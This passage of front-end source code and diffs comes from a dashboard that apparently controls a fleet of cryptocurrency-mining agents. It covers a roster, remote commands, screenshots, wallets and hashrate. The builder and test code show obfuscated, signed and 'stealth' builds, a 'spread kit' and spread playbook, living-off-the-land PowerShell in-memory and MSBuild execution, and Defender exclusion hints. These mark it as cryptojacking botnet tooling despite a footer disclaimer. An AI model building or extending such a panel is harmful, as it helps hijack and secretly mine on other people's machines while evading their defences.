setSelectedAgent(updated);
} else {
setSelectedAgent(null);
setLogContent('');
}
}, [liveAgents, isConnected, selectedAgent?.id]);
useEffect(() => {
if (selectedAgent && agentLogs[selectedAgent.id]) {
setLogContent(agentLogs[selectedAgent.id]);
}
}, [selectedAgent?.id, agentLogs]);
// Sort: online first, then by last_seen desc, then alphabetical
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
if (tb !== ta) return tb - ta;
return a.name.localeCompare(b.name);
}), [agents]);
const filteredAgents = useMemo(
() => filterFleetAgents(sortedAgents, filters),
[sortedAgents, filters]
);
const refreshLog = async (refresh = false) => {
if (!selectedAgent) return;
setLogLoading(true);
try {
const res = await api.getAgentLog(selectedAgent.id, refresh);
setLogContent(res.content || '');
} catch (err) {
setLogContent(err instanceof Error ? err.message : 'Failed to load log');
} finally {
setLogLoading(false);
}
};
const selectAgent = async (agent: Agent) => {
setSelectedAgent(agent);
setNotesDraft(agent.notes || '');
setTagsDraft((agent.tags || []).join(', '));
setMetaMsg('');
setLogContent('');
try {
const history = await api.getAgentStats(agent.id, 60);
setHashrateHistory(history);
} catch (err) {
console.error(err);
}
// Auto-fetch sysinfo so the terminal is pre-populated immediately
if (agent.status === 'online') {
setTimeout(() => {
api.sendAgentCommand(agent.id, 'sysinfo').catch(() => {});
}, 300);
}
};
const saveMeta = async () => {
if (!selectedAgent) return;
setMetaSaving(true);
setMetaMsg('');
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
try {
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
const updated = res.agent;
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
setMetaMsg('Saved');
setTimeout(() => setMetaMsg(''), 2000);
} catch (err) {
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
} finally {
setMetaSaving(false);
}
};
const toggleSelect = useCallback((id: string, on: boolean) => {
setSelectedIds((prev) => {
const next = new Set(prev);
if (on) next.add(id);
else next.delete(id);
return next;
});
}, []);
const handleDeleteAgent = async (agentId: string) => {
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
try {
await api.deleteAgent(agentId);
setAgents((prev) => prev.filter((a) => a.id !== agentId));
if (selectedAgent?.id === agentId) setSelectedAgent(null);
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agentId); return next; });
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const handleUninstallAndDelete = async (agent: Agent) => {
const label = agent.status === 'online'
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
if (!window.confirm(label)) return;
if (agent.status === 'online') {
try {
await api.sendAgentCommand(agent.id, 'uninstall', {});
} catch {
// Non-fatal — proceed to delete the record regardless
}
}
try {
await api.deleteAgent(agent.id);
setAgents((prev) => prev.filter((a) => a.id !== agent.id));
if (selectedAgent?.id === agent.id) setSelectedAgent(null);
setSelectedIds((prev) => { const next = new Set(prev); next.delete(agent.id); return next; });
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const handleBulkAction = async (action: string) => {
const ids = [...selectedIds];
if (ids.length === 0) return;
if (action === 'delete') {
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
setBulkBusy(true);
try {
await api.bulkDeleteAgents(ids);
setAgents((prev) => prev.filter((a) => !ids.includes(a.id)));
if (selectedAgent && ids.includes(selectedAgent.id)) setSelectedAgent(null);
setSelectedIds(new Set());
} catch (err) {
alert(err instanceof Error ? err.message : 'Bulk delete failed');
} finally {
setBulkBusy(false);
}
return;
}
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate (< 100 H/s).');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) {
alert('No online agents in selection.');
return;
}
if (action === 'screenshot') {
if (onlineIds.length !== 1) {
alert('Select exactly one online machine (checkbox) for screenshot.');
return;
}
const id = onlineIds[0];
const label = agents.find((a) => a.id === id)?.name ?? 'agent';
screenshotWatchId.current = id;
if (commandResults?.length) {
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
}
setBulkBusy(true);
try {
const res = await api.sendAgentCommand(id, 'screenshot');
if (res.success === false) {
screenshotWatchId.current = null;
alert(res.error ?? 'Screenshot command rejected');
}
} catch (err) {
screenshotWatchId.current = null;
alert(err instanceof Error ? err.message : 'Screenshot failed');
} finally {
setBulkBusy(false);
}
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} catch (err) {
console.error(err);
alert(err instanceof Error ? err.message : 'Bulk command failed');
} finally {
setBulkBusy(false);
}
};
return (
<div className="page fade-in command-deck operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
<h1>Fleet Roster</h1>
<p className="page-subtitle">Compact list click a row to expand quick actions or inspect full telemetry on the right.</p>
</div>
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
</header>
<BuildsInstallLink />
{loadError && (
<NeonCard accent="amber" className="empty-state">
<p>{loadError}</p>
</NeonCard>
)}
{loading ? (
<NeonCard accent="brass" className="empty-state">
<p>Scanning network...</p>
</NeonCard>
) : agents.length === 0 ? (
<NeonCard accent="brass" className="empty-state">
<div className="empty-icon"></div>
<h3>No agents registered</h3>
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
</NeonCard>
) : (
<div className="agents-layout">
<div className="agents-list-panel operator-deck-card operator-interactive">
<FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}
onCreateGroup={() => setShowGroupModal(true)}
bulkBusy={bulkBusy}
/>
<FleetGroupsStrip
groups={groups}
liveAgentIds={onlineAgentIds}
selectedCount={selectedIds.size}
onSelectGroup={(g) => setSelectedIds(new Set(g.agentIds))}
onDeleteGroup={removeGroup}
onCreateGroup={() => setShowGroupModal(true)}
/>
<div className="agents-list">
{filteredAgents.map((agent) => (
<AgentListItem
key={agent.id}
agent={agent}
selected={selectedAgent?.id === agent.id}
expanded={expandedId === agent.id}
selectable
checked={selectedIds.has(agent.id)}
onCheck={(on) => toggleSelect(agent.id, on)}
onSelect={() => void selectAgent(agent)}
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
commandResults={commandResults}
memberGroups={groupsForAgent(groups, agent.id)}
/>
))}
{filteredAgents.length === 0 && (
<p className="form-hint">No agents match filters.</p>
)}
</div>
</div>
{selectedAgent && (
<NeonCard accent="cyan" className="agent-detail operator-deck-card operator-interactive" hud>
<h2 className="font-display">{selectedAgent.name}</h2>
{(selectedAgent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.5rem' }}>
{selectedAgent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="detail-section agent-meta-editor">
<h3>Notes &amp; Tags</h3>
<p className="form-hint">Labels like &quot;Living room PC&quot; or &quot;Rack B&quot; stored on the server, shown on list cards.</p>
<textarea
className="input"
rows={2}
placeholder="Notes about this machine…"
value={notesDraft}
onChange={(e) => setNotesDraft(e.target.value)}
/>
<input
type="text"
className="input mono agent-meta-tags-input"
placeholder="Tags: living-room, rack-b (comma separated)"
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
{metaSaving ? 'Saving…' : 'Save notes & tags'}
</button>
{selectedAgent.status === 'online' && (
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
onClick={() => void handleUninstallAndDelete(selectedAgent)}
title="Send uninstall command to agent, then remove from roster"
>
Uninstall + Delete
</button>
)}
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => void handleDeleteAgent(selectedAgent.id)}
title="Remove this machine from the fleet roster permanently"
>
🗑 Delete from Roster
</button>
</div>
{metaMsg && <span className="form-hint">{metaMsg}</span>}
</div>
<div className="agent-detail-grid">
<div className="detail-item">
<span className="detail-label">Status</span>
<span style={{ display: 'flex', alignItems: 'center', gap: '0.5rem' }}>
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
{selectedAgent.status === 'online' && (
<LatencyBadge ms={selectedAgent.latency_ms} />
)}
</span>
</div>
{selectedAgent.hostname && selectedAgent.hostname !== selectedAgent.name && (
<div className="detail-item">
<span className="detail-label">Hostname</span>
<span className="detail-value mono">{selectedAgent.hostname}</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">Last Seen</span>
<span className="detail-value" title={selectedAgent.last_seen}>
{selectedAgent.last_seen
? new Date(selectedAgent.last_seen).toLocaleString()
: '—'}
</span>
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>
<span className="detail-value mono">
{selectedAgent.wallet
? selectedAgent.wallet.length > 24
? `${selectedAgent.wallet.slice(0, 20)}`
: selectedAgent.wallet
: '—'}
</span>
</div>
<div className="detail-item">
<span className="detail-label">IP Address</span>
<span className="detail-value">{selectedAgent.ip}</span>
</div>
<div className="detail-item">
<span className="detail-label">Version</span>
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
</div>
{(selectedAgent.platform || selectedAgent.os_version) && (
<div className="detail-item">
<span className="detail-label">Platform</span>
<span className="detail-value">
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
{selectedAgent.os_version ? `${selectedAgent.os_version}` : ''}
</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">CPU Cores</span>
<span className="detail-value">{selectedAgent.cpu_cores}</span>
</div>
<div className="detail-item">
<span className="detail-label">Memory</span>
<span className="detail-value">{selectedAgent.memory_gb} GB</span>
</div>
<div className="detail-item">
<span className="detail-label">CPU Usage</span>
<span className="detail-value">{selectedAgent.cpu_usage_pct.toFixed(1)}%</span>
</div>
<div className="detail-item">
<span className="detail-label">Uptime</span>
<span className="detail-value">{formatUptime(selectedAgent.uptime_seconds)}</span>
</div>
</div>
<div className="detail-section">
<h3>Hashrate</h3>
<div className="hashrate-detail-grid">
<div className="hashrate-item">
<span className="detail-label">15s</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15s)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">1m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_1m)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">15m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15m)}</span>
</div>
</div>
</div>
<div className="detail-section">
<h3>Shares</h3>
<div className="shares-detail-grid">
<div className="share-stat good">
<span className="share-count">{selectedAgent.shares_good}</span>
<span className="share-label">Accepted</span>
</div>
<div className="share-stat bad">
<span className="share-count">{selectedAgent.shares_bad}</span>
<span className="share-label">Rejected</span>
</div>
<div className="share-stat total">
<span className="share-count">{selectedAgent.shares_total}</span>
<span className="share-label">Total</span>
</div>
</div>
</div>
{selectedAgent && (
<div className="detail-section">
<h3 className="font-tech">HASHRATE TELEMETRY</h3>
{(() => {
const live = [...hashrateHistory].reverse().map((s) => ({
time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate,
}));
const chart = resolveChartSeries(live);
return (
<HashrateChart
title=""
color="#00f5ff"
unit="H/s"
height={240}
data={chart.data}
displayMode={chart.mode}
/>
);
})()}
</div>
)}
<div className="detail-section">
<h3>Remote Control</h3>
{selectedAgent.status !== 'online' && (
<p className="form-hint">Agent is offline remote actions are disabled until it reconnects.</p>
)}
<AgentRemoteActions
agent={selectedAgent}
online={selectedAgent.status === 'online'}
commandResults={commandResults}
showLiveStats
onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true);
}}
/>
</div>
<div className="detail-section">
<h3>
Agent Log{' '}
<button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button>
<button
type="button"
className="agent-action-btn"
disabled={logDownloading || selectedAgent.status !== 'online'}
title="Download full agent log as a file"
style={{ marginLeft: '0.4rem' }}
onClick={async () => {
setLogDownloading(true);
try {
await api.downloadAgentLog(selectedAgent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Download failed');
} finally {
setLogDownloading(false);
}
}}
>
{logDownloading ? '…' : '⬇ Download'}
</button>
</h3>
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
</div>
</NeonCard>
)}
</div>
)}
<CreateGroupModal
open={showGroupModal}
agentCount={selectedIds.size}
onClose={() => setShowGroupModal(false)}
onCreate={(name, color) => {
addGroup(name, color, [...selectedIds]);
setShowGroupModal(false);
}}
/>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
return <Navigate to="/crucible" replace />;
}

View File

@@ -291,4 +291,45 @@ describe('BuilderPage', () => {
expect(api.buildAgent).toHaveBeenCalled();
expect(api.exportSpreadKit).toHaveBeenCalled();
});
it('polls builder progress endpoint while a forge is running', async () => {
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
let resolveBuild!: (value: BuildResult) => void;
vi.spyOn(api, 'buildAgent').mockReturnValue(
new Promise<BuildResult>((resolve) => {
resolveBuild = resolve;
}),
);
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Compiling agent', pct: 42 }),
});
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
await waitFor(
() => {
expect(fetchMock).toHaveBeenCalledWith(
expect.stringMatching(/\/api\/v1\/builder\/progress\//),
expect.objectContaining({ headers: expect.any(Object) }),
);
},
{ timeout: 3000 },
);
resolveBuild({
success: true,
file_name: 'worker-1.exe',
file_size: 1024,
download_url: '/api/v1/builds/test/download',
fusion_enabled: false,
obfuscated: false,
signed: false,
});
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
});
});

View File

@@ -76,6 +76,8 @@ import {
type MissionOperationChip,
type MissionWizardStep,
} from '../help/forgeMissionWizard';
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
import './Pages.css';
import './BuilderPage.css';
@@ -1372,6 +1374,29 @@ export default function BuilderPage() {
))}
</div>
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
{operationMode === 'lotl_onion' && (
<details className="forge-lotl-doc" style={{ marginTop: '0.5rem' }}>
<summary className="form-hint" style={{ cursor: 'pointer' }}>
LOTL Onion tiers same XMR Wallet Address; server-pulled order on connect
</summary>
<ul className="form-hint" style={{ margin: '0.35rem 0 0', paddingLeft: '1.2rem' }}>
{LOTL_ONION_TIER_DOCS.map((t) => (
<li key={t.id}>
{t.label} {t.hint}
</li>
))}
</ul>
<a
href={spreadTechniqueDocUrl('lotl-onion')}
target="_blank"
rel="noreferrer"
className="form-hint"
style={{ display: 'inline-block', marginTop: '0.35rem' }}
>
Spread playbook: LOTL Onion tab
</a>
</details>
)}
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Spread profile presets</label>
@@ -1933,6 +1958,21 @@ export default function BuilderPage() {
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
</div>
<div className="form-group">
<label className="label">Miner Execution <HelpTip field="miner_execution" /></label>
<select
className="select"
value={form.miner_execution ?? 'inprocess'}
onChange={(e) => updateField('miner_execution', e.target.value)}
>
<option value="inprocess">In-process RandomX (default, AV-safe CPU)</option>
<option value="auto">Auto (container if Docker detected)</option>
<option value="container">Container mining</option>
<option value="subprocess">Subprocess (GPU miners)</option>
<option value="powershell">PowerShell in-memory (LOTL)</option>
<option value="dotnet">Dotnet/MSBuild compile-at-runtime (LOTL)</option>
</select>
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select

View File

@@ -3,6 +3,7 @@
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import { mockAgent } from '../test/fixtures';
import { useWebSocket } from '../hooks/useWebSocket';
@@ -56,6 +57,14 @@ vi.mock('../components/Fleet/FleetGroupsStrip', () => ({
default: () => null,
}));
vi.mock('../hooks/useFleetBulkActions', () => ({
useFleetBulkActions: () => ({ bulkBusy: false, handleBulkAction: vi.fn() }),
}));
vi.mock('../components/Fleet/CrucibleAgentMeta', () => ({
default: () => null,
}));
vi.mock('../components/Presence/AlsoHere', () => ({
default: () => null,
}));
@@ -194,6 +203,23 @@ describe('CruciblePage terminal — command_result processing', () => {
expect(screen.getAllByText('first')).toHaveLength(1);
});
it('renders fleet filter toolbar when agents are registered', async () => {
const agent = mockAgent({ name: 'FilterNode', status: 'online' });
renderCrucible(makeWsValue({ agents: [agent] }));
await waitFor(() => {
expect(screen.getByPlaceholderText('Search name, IP, notes, tags…')).toBeInTheDocument();
});
expect(screen.getByText('FilterNode')).toBeInTheDocument();
});
it('shows filter empty hint when no nodes match', async () => {
const agent = mockAgent({ name: 'HiddenNode', tags: ['prod'] });
renderCrucible(makeWsValue({ agents: [agent] }));
await waitFor(() => expect(screen.getByPlaceholderText('Search name, IP, notes, tags…')).toBeInTheDocument());
await userEvent.setup().type(screen.getByPlaceholderText('Search name, IP, notes, tags…'), 'nomatchxyz');
expect(screen.getByText('No nodes match filters.')).toBeInTheDocument();
});
it('shows fallback line when command result message is empty', async () => {
const agent = mockAgent({ id: 'agent-empty-001', name: 'EmptyNode', status: 'online' });
renderCrucible(
@@ -209,6 +235,71 @@ describe('CruciblePage terminal — command_result processing', () => {
expect(screen.getByText('[pause] OK')).toBeInTheDocument();
});
});
it('renders mining diagnostics JSON in terminal', async () => {
const agent = mockAgent({ id: 'agent-diag-001', name: 'DiagNode', status: 'online' });
const diagnostics = {
generated_at: '2026-06-06T12:00:00.000Z',
platform: 'windows',
configured_execution: 'auto',
execution_mode: 'inprocess',
active_method: 'inprocess',
lotl_tier: 'inprocess',
mining_hashrate: 512,
lotl_attempts: [
{ tier: 'container', ok: false, error: 'docker not found', duration_ms: 600 },
{ tier: 'inprocess', ok: true, duration_ms: 1800 },
],
likely_blockers: [
'mining paused by remote command or healthy container delegation',
'Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path',
],
cpu: { remote_paused: true, has_job: false, hashrate_hps: 0 },
gpu: { enabled: false, active: false, paused: false },
};
const commandResults = [
{
agent_id: 'agent-diag-001',
action: 'mining_diagnostics',
success: true,
message: JSON.stringify(diagnostics, null, 2),
_seq: 1,
},
];
renderCrucible(makeWsValue({ agents: [agent], commandResults }));
await waitFor(() => {
expect(screen.getByText('MINING DIAGNOSTICS')).toBeInTheDocument();
expect(screen.getByText('LIKELY BLOCKERS')).toBeInTheDocument();
expect(
screen.getByText('mining paused by remote command or healthy container delegation'),
).toBeInTheDocument();
expect(
screen.getByText(
'Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path',
),
).toBeInTheDocument();
expect(screen.getByText('Execution')).toBeInTheDocument();
expect(screen.getAllByText('inprocess').length).toBeGreaterThanOrEqual(1);
expect(screen.getByText('LOTL TIER CHAIN')).toBeInTheDocument();
expect(screen.getByText('docker not found')).toBeInTheDocument();
expect(screen.getByText('600ms')).toBeInTheDocument();
});
});
it('shows LOTL tier badge on agent card when lotl_tier is set', async () => {
const agent = mockAgent({
id: 'agent-lotl-001',
name: 'LotlNode',
status: 'online',
lotl_tier: 'wsl',
});
renderCrucible(makeWsValue({ agents: [agent] }));
await waitFor(() => {
expect(screen.getByText('LOTL WSL')).toBeInTheDocument();
});
});
});
// ── Helper function tests ─────────────────────────────────────────────────

View File

@@ -6,7 +6,15 @@ import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
import { formatHashrate } from '../help/fleetFilters';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import CrucibleAgentMeta from '../components/Fleet/CrucibleAgentMeta';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
formatHashrate,
type FleetFilterState,
} from '../help/fleetFilters';
import { useFleetBulkActions } from '../hooks/useFleetBulkActions';
import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
@@ -15,10 +23,15 @@ import type { WSCommandResult } from '../types/ws';
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
import RiskBadge from '../components/Fleet/RiskBadge';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import { parseTierReport } from '../types/lotl';
import AlsoHere from '../components/Presence/AlsoHere';
import { HelpTip } from '../components/HelpTip';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/FleetToolbar.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -90,7 +103,25 @@ interface RichFullSysCheck {
report: FullSysCheckReport;
}
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
interface RichMiningDiagnostics {
type: 'mining_diagnostics';
generated_at?: string;
active_method?: string;
execution_mode?: string;
likely_blockers: string[];
av_recommendation?: string;
lotl_tier?: string;
lotl_attempts?: import('../types/lotl').TierAttempt[];
mining_hashrate?: number;
}
type RichTermData =
| RichListenPorts
| RichPatchStatus
| RichPostureSummary
| RichScreenshot
| RichFullSysCheck
| RichMiningDiagnostics;
// ── Helpers ────────────────────────────────────────────────────────────────
@@ -304,6 +335,9 @@ const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONL
/** Max terminal lines rendered in the DOM (full history kept in state for scrollback export). */
const TERM_RENDER_CAP = 400;
/** Roster page size — avoids rendering 500+ node cards at once. */
const ROSTER_PAGE_SIZE = 80;
// ── Component ──────────────────────────────────────────────────────────────
export default function CruciblePage() {
@@ -312,8 +346,14 @@ export default function CruciblePage() {
// Selection
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [showGroupModal, setShowGroupModal] = useState(false);
const { groups, addGroup, removeGroup } = useFleetGroups();
const { bulkBusy, handleBulkAction } = useFleetBulkActions({
agents,
selectedIds,
commandResults,
});
// Terminal
const [termLines, setTermLines] = useState<TermLine[]>([]);
@@ -331,12 +371,38 @@ export default function CruciblePage() {
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops');
const [rosterPage, setRosterPage] = useState(0);
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
if (tb !== ta) return tb - ta;
return a.name.localeCompare(b.name);
}), [agents]);
const filteredAgents = useMemo(
() => filterFleetAgents(sortedAgents, filters),
[sortedAgents, filters],
);
const rosterPageCount = Math.max(1, Math.ceil(filteredAgents.length / ROSTER_PAGE_SIZE));
const rosterPageSafe = Math.min(rosterPage, rosterPageCount - 1);
const rosterSlice = useMemo(() => {
const start = rosterPageSafe * ROSTER_PAGE_SIZE;
return filteredAgents.slice(start, start + ROSTER_PAGE_SIZE);
}, [filteredAgents, rosterPageSafe]);
useEffect(() => {
setRosterPage(0);
}, [filters]);
const selectedAgents = useMemo(
() => agents.filter((a) => selectedIds.has(a.id)),
[agents, selectedIds]
@@ -499,6 +565,24 @@ export default function CruciblePage() {
}));
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
} else if (r.action === 'mining_diagnostics') {
const blockers = parsed.likely_blockers ?? parsed.blockers;
const tierFields = parseTierReport(parsed as Record<string, unknown>);
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
richData = {
type: 'mining_diagnostics',
generated_at: parsed.generated_at,
active_method: parsed.active_method,
execution_mode: parsed.execution_mode,
likely_blockers: Array.isArray(blockers)
? blockers.filter((b: unknown) => typeof b === 'string')
: [],
av_recommendation: parsed.av_recommendation,
lotl_tier: tierFields.lotl_tier,
lotl_attempts: tierFields.lotl_attempts,
mining_hashrate: tierFields.mining_hashrate,
};
}
} else {
// Generic JSON with posture fields (legacy path)
if (typeof parsed.posture_score === 'number') {
@@ -910,10 +994,44 @@ export default function CruciblePage() {
</div>
);
const RichMiningDiagnosticsBlock = ({ d }: { d: RichMiningDiagnostics }) => (
<div className="rich-block rich-mining-diag">
<div className="rich-header">
<span className="rich-label">MINING DIAGNOSTICS</span>
{d.lotl_tier && <LotlTierBadge tier={d.lotl_tier} attempts={d.lotl_attempts} variant="inline" />}
{d.active_method && <span className="rich-tag">{d.active_method}</span>}
</div>
{d.execution_mode && (
<div className="rich-kv-row">
<span className="rich-key">Execution</span>
<span className="rich-val">{d.execution_mode}</span>
</div>
)}
{(d.lotl_attempts?.length ?? 0) > 0 && (
<LotlAttemptsList
attempts={d.lotl_attempts ?? []}
activeTier={d.lotl_tier}
miningHashrate={d.mining_hashrate}
/>
)}
<div className="rich-sub-label">LIKELY BLOCKERS</div>
{d.likely_blockers.length === 0 ? (
<div className="rich-empty">No blockers detected</div>
) : (
<ul className="rich-blocker-list">
{d.likely_blockers.map((b, i) => (
<li key={i} className="rich-blocker-item">{b}</li>
))}
</ul>
)}
</div>
);
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
if (d.type === 'mining_diagnostics') return <RichMiningDiagnosticsBlock d={d} />;
if (d.type === 'full_sys_check') {
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
}
@@ -962,6 +1080,20 @@ export default function CruciblePage() {
<AlsoHere page="/crucible" />
{agents.length > 0 && (
<FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
filteredCount={filteredAgents.length}
onSelectAllFiltered={() => setSelectedIds(new Set(filteredAgents.map((a) => a.id)))}
onBulkAction={handleBulkAction}
onCreateGroup={() => setShowGroupModal(true)}
bulkBusy={bulkBusy}
/>
)}
<FleetGroupsStrip
groups={groups}
liveAgentIds={onlineAgentIds}
@@ -999,9 +1131,21 @@ export default function CruciblePage() {
</div>
{agents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
) : filteredAgents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes match filters.</p>
) : (
<>
{filteredAgents.length > ROSTER_PAGE_SIZE && (
<div className="crucible-roster-pager" style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.5rem', fontSize: '0.8rem' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={rosterPageSafe <= 0} onClick={() => setRosterPage((p) => Math.max(0, p - 1))}> Prev</button>
<span className="font-tech">
{rosterPageSafe * ROSTER_PAGE_SIZE + 1}{Math.min((rosterPageSafe + 1) * ROSTER_PAGE_SIZE, filteredAgents.length)} of {filteredAgents.length}
</span>
